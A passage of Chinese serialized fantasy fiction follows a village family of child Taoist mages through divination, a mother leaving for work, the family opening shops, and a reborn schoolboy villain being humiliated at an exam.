听见这话齐冰寒抽空看了眼温怡,“你碰到事了?” 温怡正在回想,温大娘说道:“是有点事,之前我做了个梦不大好,让骁北给她算了一卦,紧接着一一就打电话,说跟她男朋友拆伙了要回来。” 齐冰寒详细地问了问旁边的霍骁北,最后道:“你觉着,可能是什么?” 霍骁北沉吟片刻,“可能是借运或借寿。” 听见这话,温怡脑海中一道闪电划过,“我想起来了!” 三人齐齐把视线转过去,温大娘催促:“啥事?” 温怡抿了抿嘴角,脸色有些难看,“大概一年前,齐叔给我的护身木牌丢了,我就按照齐叔给的地址,去协会的店里买了几张护身符。” 温大娘担心地着急开口:“你咋没说?” 温怡一脸心虚,“不是什么大事,我也不想妈你担心。” 温大娘气得上手拍了她几下,“你不说我才担心!你不说万一你真有个万一,娘咋办?小苒苒咋办?” 温怡连忙认错,“妈妈妈,我错了,我以后绝对什么事都跟您讲!” 齐冰寒也伸手道:“先让一一讲,到底发生了什么?” 温大娘这才作罢。 温怡逃过一劫,感激地望了眼她齐叔,才接着往下说:“后来就遇到我上个男朋友,他大学刚毕业,有个先天性心脏病的妹妹,兄妹两个感情很好。” “大概半年前,她妹妹找到了合适的心脏,移植手术后身体恢复得很快。倒是我,那段时间感觉很累,有次还晕倒进了医院,但是他说医生检查后没问题,让我出院以后多休息。” 听到这里,温大娘恨恨地锤炕,“该死的负心汉,定是他把你的寿数给了他妹妹!” 霍骁北挑了挑眉,随口问道:“是亲兄妹么?” 温怡讷讷地张了张嘴,好半晌后才恍然点了点脑袋,“是、是吧?但他们兄妹不同姓,长得也不像……” 齐冰寒哼笑,笑声带着了然和嘲讽,“别是假兄妹真对象吧?” 温怡:“……” 温怡木着脸往下说:“不过自那之后,他就不见了踪影。前阵子我身体突然变好,他反倒又出现了,只是整个人消瘦憔悴,面容苍老,好像生了场大病。” 温怡在前男友消失不见时就确定了分手,等他出现,她就宣布了拆伙。 那兄妹俩自然不愿意,期间多番纠缠,软的硬的威逼利诱什么手段没使过,不过温怡也不是吓大的。 有个天师娘,爷奶在世时也都是极为出色的天师,温怡打小就见过不知凡几的鬼灵精怪。 血淋淋的尸体和骇人的僵尸她都能面不改色,对这对心怀鬼胎的兄妹,温怡略施小计就轻松料理了。 温大娘听得目瞪口呆,忙去看霍骁北,“骁北,你还给你姑破了那个邪术?” 霍骁北点了点头,齐冰寒看这小子的眼神登时就不一般了。 这俩娃娃的天分真是,要是叫天师协会那些老怪物们看到,一个个不得争着抢着大打出手啊? 不过么,齐冰寒琢磨,这俩娃娃可不定能看上那些老东西。 一个五岁多,一个更离谱才三岁多,光照着他俩师叔留下的典籍心得就学到这个地步,一般人真教不了她们。 这样想着,齐冰寒开了口,“一一你还不清楚吧,小苒苒和这孩子,俩娃娃在天师一道的天赋难得一见。” “小苒苒才三岁,已经能提笔画符,还会用五鬼运财术偷糖吃,可比你那时候强多了。” 温大娘忙补充:“小苒苒画符赚的也有千把块了,前个不久还给县城公安局布了阵法,俩娃娃出一次手五千块呢!” 温怡惊讶地看着自己的女儿,白嫩可爱乖巧的小团子正在酣睡中,一点都看不出来已经是个能接单赚大钱的天师了! 出身天师‘世家’,温怡自然也曾尝试入门,跟着她娘学八卦易经相面画符。 只是她虽有些天赋但没耐性,至今也就能相个面,多数时候还不准。 正所谓,不知者无畏,浅浅涉猎过玄学一道的温怡,才远比旁人知道女儿的天赋有多高。 温怡心下一片茫然。 难道小团子以后要走这条路? 可…… 可天师虽然看着风光,但注定要与妖邪鬼怪搏斗,其中风险无处不在。 万一小团子遇到危险怎么办? 这个念头浮现出来,温怡突然就有些后悔,她当年怎么就没选择继续学下去呢? 不然也不至于现在一丁点助力都不能给孩子。 温怡小声问她娘,“妈,要不要给小苒苒找个师父教导?” 温大娘瞅着自己姑娘的表情,“你愿意让苒苒学这个啊?” 温怡轻轻嗯了声,“苒苒愿意就让她学,不愿意就学别的。” 齐冰寒在心里嘀咕,艾玛,这得亏娘俩儿不能聚堆,不然一个较一个宠着惯着,不得给那小机灵鬼儿宠上天了? 他腹诽了一堆,开口说道:“拜师的话我有个不错的人选,我小师叔祖,道行之高都能称一句‘仙师’了。那个、那个路易十几上断头台的时候,他还在一边围观呢。” 温怡:“……” 我读书少,齐叔你别诓我?! 见众人都看过来,齐冰寒咧嘴笑,“前阵子去协会回来,我顺路回了趟道观,听我师父说,师叔祖最近这就要出关了,你说巧不巧?” 温大娘用力点头脖子都快给点断了,“咱啥时候去?备点什么拜师礼好?是不是得先给你师父我师叔通个气?” 齐冰寒抬手压了压,“哎,且得再等等呢,他们道行高深的,一闭关就是按年份算的,等师叔祖出关我们再做打算也不迟。” 说着他低头瞅一侧的小身板,“你不高兴啊?” 霍骁北看他一眼,却道:“也许这位大天师会主动找过来。” 齐冰寒先一惊,又一惊,一惊惊过一惊,忙道:“你可别瞎算,我师叔祖道行高着呢,你这点道行起个卦都能给你废了!” 霍骁北一脸淡定,“我没算。” “我只是猜测。” 齐冰寒翻白眼,“你别给我抖机灵,你晓得轻重,别什么都算,惹到小心眼的有你好果子吃!” 温大娘也叮嘱了几句,紧接着把话题拽回去,“你为啥那么猜测?” 霍骁北三言两语解释。 灵气日渐稀薄,飞升成仙几可成传说,那位大天师既已有‘仙人’之资,无论飞升有无希望,接下来都该会为师门,也就是道观传承做打算。 温苒和他拐弯抹角也算师门弟子,天赋也尚可,对方会注意到她们是情理之中。 抽空来看一眼,再顺手点播几句,就更为人之常情。 齐冰寒听完人都麻了,人跟人真是不一样啊,小不点一个听他说了几句就猜到这些,脑瓜子咋长的?怎么就没长他身上?! 第89章 第89章零零年代乡村小神婆14…… 睡个午觉醒来,天都黑了。 温苒懵懵地坐起来,脑袋一转,就看到霍骁北用‘你惨了’的眼神看着自己。 温苒:“???” 肯定是还没睡醒,她把自己摔回去,闭上眼,被子拉到头。 霍骁北:“……” 他抬手给被子又拉下来,小姑娘哼唧一声翻过身子去,拿屁股对着他。 霍骁北不客气地拍了下,“你妈妈要带你走。” 只见被子里那团动了动脑袋,然后咕噜一下坐起来,大眼睛瞪得圆圆的,“什么?!” 霍骁北从炕桌上倒杯水递给她,一边告诉她大人们的盘算。 温苒呆愣了半天。 所以她妈妈想带她一起走,但是姥姥不愿意,母女两个差点吵起来? 温苒小脑袋四下转悠,“她们呢?” 霍骁北:“去串门儿了。” 温苒长长地舒了一口气,扑到霍骁北身上,“哥哥救我!” 霍骁北接住她,嘴角狠狠抽了抽,亲就好好亲,弄他一脸口水就很像在故意报复。 等母女两人串完亲戚回来,就见俩娃娃并排坐在炕桌后头,冲她们露出和善的微笑。 霍骁北发出邀请:“奶奶,姑姑,要不要算一卦姻缘?” 这个,真拒绝不了一点。 温大娘脚随心动,温怡心随脚动,反应过来就已经脱了鞋上炕。 温苒殷勤地给姥姥和妈妈倒热水,“师叔呢?” 温大娘咕咚咕咚灌了半杯,抹抹嘴回道:“他骑三轮收东西去了。” 像那什么黑狗血公鸡血古铜钱旧木头啥的。 温大娘目光灼灼地盯着霍骁北,“咋算啊?” 霍骁北侧目看了眼温苒,沉吟道:“姑姑的八字和命盘我都看过,这次起六爻卦,算吉凶。” 八字结合行运可以算婚姻,但落到实处还需结合其他算术。 通俗来讲,八字透露出来的信息只代表一种可能,具体如何要看命主的选择。 同一个八字,出生的环境地点不同,最后的命运也不尽相同。 大多数人的命运都能契合上自己的八字,但也有一部分人,通过自己的选择和努力最终逆天改命。 霍骁北把铜钱交给温怡,让她来撒,先撒三次,再往后撒六次、八次、九次。 温大娘都想说别算这么细,算个大概就成了。 最后九次撒完,霍骁北脸色都变白了。 温怡小心翼翼看她娘,“妈,不会出什么事儿吧?” 温大娘小声回她:“应该没啥大事,你也不是啥大人物。就是给你算完,这孩子得个把月不能再算了。” 不知道过了多长时间,天都黑透了,温大娘和温怡和面揉面,给烙了一筐薄肉饼。 温苒坐小板凳上,被刚出锅的肉饼烫得直哈气。 温怡伸手接着,让她吐出来,结果温苒立马把嘴闭得紧紧的,拨浪着脑袋说什么也不肯。 温怡哭笑不得,只好拿炉子上温着的冰牛奶给她降温,“慢点吃,想吃妈妈明天还做。” 温苒抱着冰牛奶只小小地喝了两口,她要留着肚子吃大餐。 今儿这桌菜有鱼有肉,有米饭有馒头有饺子有肉饼,比之过年还要丰盛。 温大娘进屋把炕桌抬高,展开,一转头就见霍骁北睁开了眼。 她心脏往上一提,“有结果了?” 霍骁北苍白着脸点了点头,刚要开口,温大娘抬手制止,“先吃饭,饭都弄好了,都是你和苒苒爱吃的。你姑姑还弄了几道羊城那边的地方菜,你先敞开肚子吃一顿,缓缓再说。” 温大娘出去端菜,温苒抱着肉饼哒哒哒跑进来,“哥哥吃!” 霍骁北接过肉饼胡乱往嘴里塞,算卦是个脑力活动,他早就饿得手脚发软了。 一个肉饼下肚根本不管用,但霍骁北还克制得住。 温苒小声问结果,他道:“正缘有三个。” 所谓正缘,是指年龄合适,八字相合,且可能育有子女,并相伴到老的姻缘。 温苒掰着手指头盘算了一通,皱起了婴儿肥小脸。 三个有点少,万一都是歪瓜裂枣怎么办 院里有点动静,温苒直起身一瞅,出去收东西的齐冰寒回来了。 温大娘端着盘松鼠鱼进来,笑着道:“可真是会赶时候!” 齐冰寒刚好搓着手进屋,在外间听到这话,端上蒸饺往内屋走,边回道:“那可不!光捡现成的吃!” 饭菜都端上来,打开电视声音调小,一家人围坐在热炕头上,正式开饭! 温大娘先动筷子,接着几双筷子纷纷下场,伸向自己看中的菜式。 温怡忙得很,给每个人都夹菜,尤其是两个娃娃。 温苒和霍骁北跟前的菜碗冒了尖,装不下,又给换成了大海碗。 霍骁北是真饿,吃得头也不抬。 温苒还有空瞅两眼动画片,不过小嘴也是没停过。 吃了五分饱,大家都慢下来。 霍骁北说起了他卦象的结果,“有三个正缘,都和姑姑相差十岁以内。” 齐冰寒来了劲头,“你给你姑算姻缘了?” 温大娘拍他胳膊让他别打岔,“你先听,听完帮着踅摸踅摸好赖就成。” 温怡好奇,“那我随便选一个就行了吗?” 温大娘拔高声音,“那当然不成!万一人家有对象了呢?” 温怡点点头,又问:“那我 选哪个比较好?万一我选了,对方对苒苒不好咋办?还能分开吧?” 霍骁北:“……” 霍骁北道:“我只能给你指两个方向。” 温怡看她娘,温大娘拿胳膊肘杵杵她,“听孩子的。” 温怡就问:“什么方向?” 霍骁北:“长京和鹏城。” 温怡蹙眉想了想,“我选鹏城吧,鹏城就在羊城旁边。” 她当然也想和家人离得更近,但离得近了不一定对家人好。 霍骁北又道:“我建议姑姑先发展自己的事业,不要为烂桃花错失正缘。” 正缘不是说遇到就一定能成,还有句话叫有缘无分。 温苒嚼着小肉丸点头,腮帮子撑得鼓鼓的,“未来几年的风口行业有房地产、娱乐业、IT和电子……” 齐冰寒让她打住,板着脸呵斥:“你两个小娃娃咋啥都敢算啥都敢往外说?” 不知道他们道上有句话叫‘天机不可泄露’吗? 泄露天机太多轻则伤身,严重点修为不得寸进,再严重就是不得好死了! 温苒眨巴着大眼睛,无辜地望着一圈大人。 温怡心疼得不行,把娃娃抱起来晃着一通哄。 温大娘轻拍着霍骁北的后背安慰,扭头朝齐冰寒大吼:“你不会态度好点说?娃娃才多大?你多大?吓坏了你给赔啊?” 齐冰寒被吼地一激灵,抖着手指着俩娃娃,咋就吓坏喽?一个个胆子那老大,你看她们有半点吓着了吗? 齐冰寒气急败坏地吞了两口肘子肉,消完气恨恨道:“师姐你就惯着吧!我严肃点是为了孩子好!你当她们啥也不懂,其实一个个机灵着呢,越是这种娃娃越难教,聪明还不知道怕,以后捅篓子一桶就是大篓子!” 温大娘也不是不知道好赖,但她要能狠下心就不是她了。 她扭头,叮嘱的语气嘱咐俩人:“以后不许随便算这些。” 温苒乖乖地点头,她也不能说她根本不是算出来的。 吃完团圆饭,收拾收拾,碗盘下桌,瓜子花生坚果糖端上来。 温大娘小声同师弟道:“回头你跟师叔去个电话,问问师叔祖啥时候出关,出了第一时间往这边来个电话。” 齐冰寒操心地叹了口气,“知道知道,我看那小子说得挺对,八成他老人家会亲自过来一趟呢。” 就俩娃娃这天赋,协会里那些老东西举全门全族之力培养的天才都得落一大乘,师叔祖只要不是老糊涂了,说什么也得来看一眼指点几句。 日子一天天从指缝里溜走。 温怡在城里买房买铺面,又找人装修好,眨眼间就到了清明节前。 霍正国终于舍得回趟家,让人没想到的是,还带着他小弟霍正文一起回来了。 当天又是好一番热闹,两家人围在一起吃了顿团圆饭。 霍骁北问他爹:“爸,木牌呢?” 霍正国身体一僵,挠着头打哈哈,“碰到点小事。” 霍正文拆亲哥的台,“啥小事?他差点让同伙的司机给算计了!” 温大娘忙追问:“到底啥事啊?” 霍正国只好和盘托出,“也不是啥大事,同伙的那个在外头让人设了坑,人家当场拿住他要钱,他没钱,就看上了我的车和货。” 他车上的刹车让动了手脚,好悬有那个木牌保命才没出事。 温大娘啧啧两声,“大国,你可长点心!开大车本来就危险,你这还让自己人算计了,得亏是没出大事,不然你放心得下你儿子?” 霍正国想起来也是后怕,他就这一个孩子,孩子就他一个爸爸,真出事了可咋办? 温大娘觉着是个好机会,说道:“大国,你别开车了,这活是能赚钱,但累人也危险,没着没落的。你不如拿钱在城里买个铺面,弄个修理店,赚个踏实钱。” 说起这个,温大娘又不得不提一嘴,“你家娃娃跟我学手艺,如今手艺大成,赚了也有千把块,就在城里买了处房子。” 霍正国霍正文兄弟俩傻眼了。 霍正国:“啥?” 霍正文:“买啥?” 温怡忍俊不禁,“买房,就在我家对贯儿,位置也不错,离一中和三中都近,以后上学走路七八分钟就能到。” 兄弟俩恍恍惚惚。 霍正国想,他这跑死跑活地拉车,三五个月才赚个小几千,还要给同伙分给车子保养,到手里才几个子,儿子反手给他弄回来一套房? 霍正文心想,他在煤矿上给人算账几年才赚了万把块,他侄儿几个月就赚了一套房? 霍正文杵他大哥,心里那叫一个羡慕,又特别开心,“哥你还犹豫啥,你儿子自个有这老大能耐,你这个老子轻快点,别开车了!” 霍正国还晕着呢,下意识看向儿子。 霍骁北点了点头,“爸,你开修理铺,小叔开书店。” 霍正义听见还有自己的安排,乐了,“你这个主意不错,我也攒了些钱,买个铺子没问题,正好我也爱看书。” “要是我能把书店开起来,这样,以后你俩娃娃上学的书我全包了!” 霍正义胸脯拍得啪啪响,明明是个瘦弱的小白脸,却很有豪迈的江湖气。 说要干立马就得张罗起来,正好温怡也在,兄弟俩觉着她在大城市见识过,就总拉着她参谋。 三人年纪相仿,打小又是一条街上长大的,本身情分就不一般,温怡自然知无不言言无不尽。 加上温怡马上要离开去鹏城,家里一老一小的总是不放心,还得托这俩兄弟照看,温怡不辞辛劳地找朋友找同学帮忙。 不到一个月,两间铺子就正式开张营业。 这时温怡也要走了。 第90章 第90章零零年代乡村小神婆15…… 温怡回来还不到两个月,她也不想这么快就走。 前两天温大娘去给办丧事的人家帮忙,回来的路上有些晚了,没注意踩进坑里,把腰给抻着了。 温苒给扎了两针,拌了几贴膏药,按理说根本没啥事。 可温怡总疑心是她克的,于是就盘算着要走。 温大娘那叫一个窝心难受,她这个没用的,要是小点心闺女也能多待一阵子,多陪陪苒苒。 “你想走我也拦不住,只是好歹等我们给你拾掇妥当了再走。” 温怡只好又留了几天。 温大娘给闺女收拾吃的穿的用的,温苒和霍骁北给温怡准备了各种符箓。 在齐冰寒的盒子里挑的见面礼是两块上好的玉石,霍骁北取出其中一块挖了枚玉牌,边角料修成细手镯,都刻上阵法和符咒护身。 最后把温大娘准备的东西收进储物符箓,再把储物符箓连同其他符箓收进手镯的空间里。 温怡只需要背个小背包,轻装简行即可。 温怡恍恍惚惚,芥子空间?她乖宝竟然给她做了个芥子空间? 温苒同妈妈解释,里面的地方不大,只能装得下这些符箓,其实很鸡肋。 但温怡不听,抱着乖宝一顿亲。 温怡离开的前一天,霍家两兄弟从城里回来,张来娣带着张瑶兰过来,三家凑在一起又整了一顿。 霍正国和霍正义让温怡放心在外头打拼,家里有他们照顾。 张来娣也说:“新学年她们报名上学,有我在学校,不会让她们受欺负。” 张瑶兰直起小身板,嗓门洪亮:“我是姐姐,我会保护弟弟妹妹的!” 温妹妹苒点着小脑袋捧场,“好呀好呀!” 霍弟弟骁北面无表情,他不觉得会有人能欺负温苒和他自己。 儿行千里母担忧,温大娘一宿没睡好,想拉着女儿叮嘱几句吧又怕耽误孩子休息,只好闭着眼挨到鸡叫。 出门饺子下车面,温大娘蒸了满满一大锅的饺子,有荤有素,先给压了两大饭缸装进储物符箓,才喊大家起床吃饭。 干吃饺子噎嗓子,配着昨夜里灶上就温着的鸡汤粥,热乎的一碗下肚,温怡也该走了。 为了方便运货,霍正国弄了俩小货车,他和霍正义回城开店,正好捎带送温怡去客车站。 温大娘拉着姑娘一直送到公路口,“饺子我给你装了两个饭缸,放你包里了,啥时候吃啥时候撕掉符箓。你在外头可得记得按时吃饭,别吃冷的生的,觉着不舒服就去医院,可千万别想着省钱,家里什么都不缺……” 温怡抱着温苒走了一路,听着她娘的絮叨,心头酸涩鼓胀,眼里的热意阵阵上涌。 温苒伸出小手给妈妈擦眼泪,小脸上的大眼睛也是红彤彤的。 温怡怕把孩子也惹哭,硬是把泪憋回去,还哄孩子说是沙子迷眼了。 霍正国把车开过来,温大娘主动接过娃娃,推着温怡上车,“快去吧,别误了时间,常给家里打电话。” 现在也方便,家里牵了线安了电话,往后也不用去别人家了。 看着温怡上了车,温大娘抱着温苒上前,扒着车门,想了想还是嘱咐道:“娃给你算的姻缘,你心里有数知道就行,喜欢就在一块,不喜欢也别勉强,咱这模样这本事的想找还不简单?但你得记住,凡事得先紧着自己舒坦,知道不?” 温怡笑着点头,“我知道,妈你别担心我这个,我不会让自己吃亏。” 最后摸了摸小团子的脸蛋,温怡依依不舍地挥挥手,“妈,带苒苒回家吧,别在大马路上吹风。” 小货车转眼消失在马路上,温大娘低头抹了两下眼睛,带着温苒进了小卖 铺。 “你哥哥感冒了,吃几个桃儿罐头润润嗓子。” 温苒悲伤的小脸马上展颜,“还想吃草莓罐头和冰淇淋!” 温大娘有意哄孩子开心,当然她说什么是什么,有的没的买了一大堆东西。 回去绕道路过张家,温大娘喊张家祖孙去家里吃饭。 张来娣无奈地出来,只让孙女去,“老姐姐,烦你带瑶兰一天,我去找人把家里炕给盘上。” 温大娘惊讶,“你家的炕咋了?” 张瑶兰和小妹妹挤眉弄眼,听见这话大声道:“他把炕睡塌了!” 他,毫无疑问是指张耀祖。 温苒好奇,“他发脾气把炕踹塌了吗?” 张瑶兰摇头,“不是,就是睡觉,然后昨天夜里突然就塌了。” 温苒:“……” 啊这?就是纯倒霉呗! 张来娣拧着手,脸上发愁,“嫂子,你说我是不是得对耀祖更苛刻才行?” 温大娘嘴角抽了抽,“这个……你还是按现在的来,不能再苛刻了。” 现在张耀祖顿顿棒子面粥,穿打补丁的旧衣服,住的屋子窗户没了半边玻璃,被褥絮的都是旧棉花。 原本是还不错,张耀祖吃这些苦就够了,平日里很少再倒霉。 但这不是身体里多了个邪道的魂魄么? 那邪道害过不计其数的人,罪孽缠身,又入了扫把星的身体,一茬茬儿的报应挡都挡不住。 温苒背着小手,仰头说道:“有现成的办法啊!” 张来娣立马弯下腰,“苒苒你有啥办法?” 矮墩墩摇头晃脑,“让他干活就是了!” 据她所知,目前只有张耀祖的生活条件直线下降,无非是吃的一般住得一般。 但这怎么够? 张耀祖还是十指不沾阳春水,饭是张奶奶做的,衣服他也不洗,都是瑶兰姐姐看不过去捏着鼻子洗的。 张耀祖很应该承包家里大大小小的家务,他是来吃苦还债的,衣来伸手饭来张口算哪门子享福? 张来娣想也不想就摇头,“可我说话他压根不会听!” 温苒勾勾小手,张来娣犹豫着凑上去,小娃娃神秘兮兮冲她传授了一番。 旁人听不到,就只见张来娣先是惊讶,再是恍然大悟,最后鼓掌赞叹:“那我就这么做!” 温苒嗯嗯点头,“对对对,就按我说的忽悠他。” 温大娘:“……” 把俩孩子带回家,温大娘实在忍不住,“苒苒,你跟姥姥讲讲,你给你张奶奶出了啥主意?” 温苒摊摊小手,“也没什么,就是告诉张耀祖,他要么继续这样吃窝头咸菜继续倒霉,要么就去街上捡垃圾卖钱。” 温大娘惊呆了,“那他能愿意?” 那扫把星可是打小就被他爷惯大的,他能去捡垃圾? 温苒歪了歪小脑袋,“话肯定不这样直说,所以我教了张奶奶一句话。” 温大娘果然问:“什么话这么管用?” 温苒摇头晃脑拉着长音说道:“哎呀,奶奶都是为了你好——” 温大娘愣了愣,反应过来噗嗤笑出来,她边笑边说道:“我和面摊饼,给你们弄城里那个灌饼,卷上火腿鸡柳生菜,再熬一锅南瓜粥。” 院里菜园子的菜一茬一茬往外长,家里这几个吃不完,还往出送了一些。 隔壁霍家的院子也辟个菜园子,俩菜园子一起,眼瞅着实在吃不完,温大娘也琢磨起来卖菜的事了。 鸡蛋灌饼很好吃,温苒吃得肚子溜圆,在院里走了几圈消食,回屋里倒头睡到天黑。 进了五月一天比一天暖和,但到了晚上风还是一样凉。 霍骁北就是叫这风给吹感冒了,怕传给温苒,一直戴着口罩。 温大娘给俩娃娃都套上外套,裹上毛毯,带她们到院里来。 张来娣坐在土灶前摊饼,见着温苒笑着报喜:“我就按你教的跟他说,他捡垃圾做好事就不会倒霉,而且捡垃圾赚的钱归他自己处置,想买什么就买什么,他二话不说就去外头忙了一下午。” 要是张老头他们刚走那会儿,就算这样跟张耀祖说他也不会同意,但现在他吃够了苦,突然有人告诉他他再吃点苦就有好处拿,他说什么也会去试一试的。 道理很简单,无非是开窗开门和沉没成本作祟。 而等张耀祖发现,他做家务捡垃圾做好事以后不再倒霉,就是拦着他他也要求着做的。 于是酸枣村大磨房又有了新的谈资。 “别不是把脑子摔坏了?天天背着个蛇皮袋子去街上转悠,前儿个还去我家前头那条巷子叫门收破烂,不给就撒泼打滚,哎我去,破烂再是破烂也不能白给他啊!” 显然,张耀祖就是冲着‘钱’去的。 温大娘告诉温苒,摇着头一脸嫌弃,“三岁看大六岁看老,他这孩子就是没有扫把星的命他也成不了大器!” 张耀祖因为捡破烂儿闹出许多事,栽了不少跟头。 但张来娣和张瑶兰就很省心了。 张来娣满不在乎,“他折腾就折腾吧,反正是在外头闹,只要没有性命之忧,回头他爷他们回来我能有交代就行。” 七月里乡小学开始招生。 张来娣接到张老头的电话,告诉她刚划了一笔钱给家里存折,让她给张耀祖报名。 至于张瑶兰,半点儿没提。 张瑶兰也是没心没肺,该咋乐咋乐,天天来温家找妹妹玩儿。 乡小学在酸枣村和朱家村中间,沿着酸枣村的大路一直往西走,最热闹的一截儿就是酸枣乡的小学学校。 学校旁边有一家文具店两家小卖铺,进了学校,几排的平房蔚为整齐。 张来娣领她们去报名,因为温苒和霍骁北是在校长那边挂上号的,所以全程很顺利。 报完名领一条红领巾,等八月底开学,温苒就是一名正式的小学生了! 春去秋来,温苒上学后的第一次考试也到了眼前。 期中考试前放两天假,温苒招呼俩小伙伴儿,在小卖铺买上辣条和雪糕,躲在学校墙角下开誓师大会。 “这次考试,必须全力以赴!” “咱们神童三人组,务必拿下前三名!” 一个也不给张耀祖留! 霍骁北:“……” 他想退出。【你现在阅读的是 】 90-100 第91章 第91章零零年代乡村小神婆16…… 三小只吃完零嘴,趴在学校的乒乓球石桌上写作业。 差不多写完时,开完会的张来娣骑着三轮车过来,载三个小学生回家吃饭。 至于张耀祖,他现在每天不见人影,经常逃课,背着个蛇皮袋子到处捡垃圾。 偶尔出现在学校里,都是伸手朝小学生要用过的作业本。 原本的剧情里,上辈子张耀祖因贫穷的家境自卑,因普通到接近丑陋的长相自卑,因个矮腿短自卑,因成绩低下自卑…… 现在他化自卑为愤怒,一心想要逆袭,狠狠打脸看不起他的人。 以上,来自听到张耀祖梦话的张瑶兰。 “他还说什么‘朱梅梅昨天你对我爱搭不理,明天我让你高攀不起’,朱梅梅才不想攀他!” 张瑶兰觉得臭弟弟失心疯了,朱梅梅可是她们班上最漂亮的女生。 除温苒以外,温苒才过完四岁生日,还是个小豆丁,班上同学都拿她当妹妹看的。 朱梅梅的父母是县城的大老板,怎么可能会看上张耀祖? 温苒嗯嗯点头。 剧情里朱梅梅是个下场凄惨的炮灰女配。 张耀祖单方面爱慕纠缠朱梅梅,朱梅梅却嫌弃他,所以重生后张耀祖趁朱家出事,先将朱梅梅霸占,然后狠狠抛弃。 温苒小大人似地发表看法,“他才不是喜欢朱梅梅,他只是虚荣。” 朱梅梅是班花,受欢迎被追捧,高高在上。 而张耀祖被嫌弃被讨厌,就像阴沟里的老鼠一样。 张耀祖变不成朱梅梅那样的人,所以他幻想得到朱梅梅的另眼相看,幻想得到朱梅梅的垂爱,甚至幻想朱梅梅追求自己。 朱梅梅根本 没那么重要,对张耀祖来说,最重要的是她身上的光环。 如果真的喜欢,张耀祖就不会在得到以后弃如敝履。 张瑶兰扶着车辕,“我听说朱梅梅下学期要转学,去城里的私立小学念书。这样耀祖就没办法去朱梅梅面前讨嫌了,不然我和奶奶也得跟着丢脸。” 张来娣在前头听着不停叹气。 小娃娃还不懂去城里念书意味着什么,只是一味羡慕,殊不知在人生的起点上,人家已经率先迈出一大步。 两天时间转眼过去,为表重视,温大娘亲自送俩娃娃来学校。 “认真考,不会写的也要写满,写完记得检查,姥姥就在外头等着,考完就带你们去城里吃大餐!” 温苒踮起脚,手举得高高的,“要吃虾!” 温大娘满口应下,“好!吃!” 村里小学只有三门课,算术和语文,还有每周两节体育课丢手绢打乒乓球。 两门文化课每场一个小时,上午没过完就考完了。 温大娘让仨小孩儿上车,跟监考老师告诉一声,她就带娃娃们进城了。 等张来娣拿着钱追过来,早不见了人影,气得直跺脚,只好打定主意下次一起进城的时候她请客。 进城的路上,温大娘慢悠悠倒腾着腿,笨重的三轮车速度却不慢。 她大声跟后面孩子说道:“先想这次吃啥,后头你们张奶奶指定还得请回来,也一块想了吧!” 张瑶兰抿了抿嘴,她知道温奶奶这话是在跟她说的,让她待会儿别见外。 可她实在没办法不在意。 她和奶奶一直在受温奶奶的帮助,她心里很过意不去,奶奶说她人还小,做些力所能及的就可以。 于是她经常去温家给菜地浇水,陪小妹妹玩耍。 但她做的这些根本不算什么,和温奶奶给予她们的相比就像牛毛之于牛。 到头来,她的回报还是那么一点点,但欠温奶奶的却越来越多。 奶奶说,温奶奶是个好人,温奶奶帮助别人时或许根本没想过回报。 但她们不能当做不知道,她们要记在心里,要想着回报,但不要觉得这是负担。 更要想着向温奶奶学习,以后做像温奶奶一样帮助别人不求回报的好人。 张瑶兰深以为然。 期中考试后有两天的假期,假期一过,学校就张贴了排名。 并列第一名有四个,温苒、霍骁北、张瑶兰和朱梅梅。 温苒不在乎自己的名次,她更在意张耀祖的名次。 或许是张耀祖捡垃圾有了成效,也或许是他用了系统的转运符,他并没有倒霉错过考试。 但结果,温苒趴在霍骁北的背上,仰着头,从上往下依次看过去,最后在十七名的位置找到了张耀祖。 温苒不敢置信。 这可是一年级的考试! 张耀祖的壳子里还是个高三生! 高三生考一年级的试卷都没有满分?! 这合理吗? 看张耀祖那害人的办法一套套的,也不像智力低下的样子。 温苒有个大胆的猜测,难道替他考试的是邪道的魂魄? 不对不对,温苒晃脑袋,邪道有那个道行考清北都不成问题,不至于这么蠢。 那是为什么嘞? 温苒有这个疑问,张耀祖也有。 张耀祖破天荒来了学校,坐在自己的座位上等同学来恭维。 结果一个二个的,都围着其他人去了。 张耀祖:“???” 努力学习得到好成绩,和从来不听课却得到第一名有可比性吗? 张耀祖百思不得其解,上课铃响以后,二十多个学生各回各位。 老师拿着试卷进来,先说了几句关于成绩的鼓励,然后开始唱名发卷。 名次从后往前,全班二十六个学生,张耀祖听到他排十七名。 前排把试卷传过来,张耀祖从震惊到茫然,再到不敢置信,最后是愤怒。 狗屁老师! 他作文怎么可能零分? 他数学的附加题也绝不可能出错! 张耀祖蹭地站起来,厉喝一声:“我不服!” 温苒扭着脖子回头,小脸上激动不已。 来了来了,张耀祖要被打脸了! 老师放下排名表抬头,“张耀祖你有问题吗?” 全班同学都歪着身体往后瞅,想看张耀祖怎么说。 张耀祖抓起试卷愤怒地拍在桌子上,“我不服!判卷老师判得有问题!” 老师走下讲台,过来拿起张耀祖的试卷,蹙眉看了一遍,然后摇头,“判得没问题。” “算术的附加题是今年奥数比赛的原题,答对加分,答错扣分,你只写了一种答案,不算对,只能扣分。” “语文试卷的作文你写得挺好,但跑题了,所以是零分。” 温苒惊讶地捂着小嘴。 天呐! 附加题那么简单,高三生张耀祖竟然真的不会? 她们四个并列第一可都写对了呢! 数学老师兼班主任语气平平的几句话,张耀祖听着却如此刺耳,脸上发烫,瞬间涨成了猪肝色。 班上其他同学用或嫌弃或嘲讽或看热闹的眼神看着他,更让张耀祖无法接受。 装逼不成,却反遭打脸,张耀祖恼羞成怒,猛地推开桌子踢倒凳子,转身跑出教室。 数学老师和附近同学把桌凳扶起来,老师走到讲台上,边摇头边教育学生:“桌椅板凳是学校的公共财物,弄坏了要赔钱,大家平时使用要小心爱护。” 放学回到家,温苒先给姥姥显摆她的奖品,一根铅笔一块橡皮和一个小本子。 温大娘乐得不行,直说星期天放假带她去城里吃大餐。 “我的乖乖,待会儿我得给你妈打个电话报喜!” 霍正国回家,听到儿子拿了第一名,也是高兴得满面红光。 霍正义还看到大哥偷偷抹泪,他开始犹豫着要不要说那件事了。 不想他不说,温大娘却提起来:“大国,正义,咱村的王大娘是十里八乡有口皆碑的媒婆,她这几日经常上家来,我听她的意思像是要给你俩介绍对象。” 霍正义先看他大哥。 霍正国犹豫了下,“我还是算了吧,给正义介绍,他二十多岁的人了还单着不像样。” 霍正义当即点头,主动把话题引到自己身上,“婶子,让王大娘给我介绍,我的情况婶子你都知道,我的要求我跟您讲讲……” 霍正义不客气地讲了一大堆条件,什么‘读过书’‘模样好’‘性格温柔’巴拉巴拉。 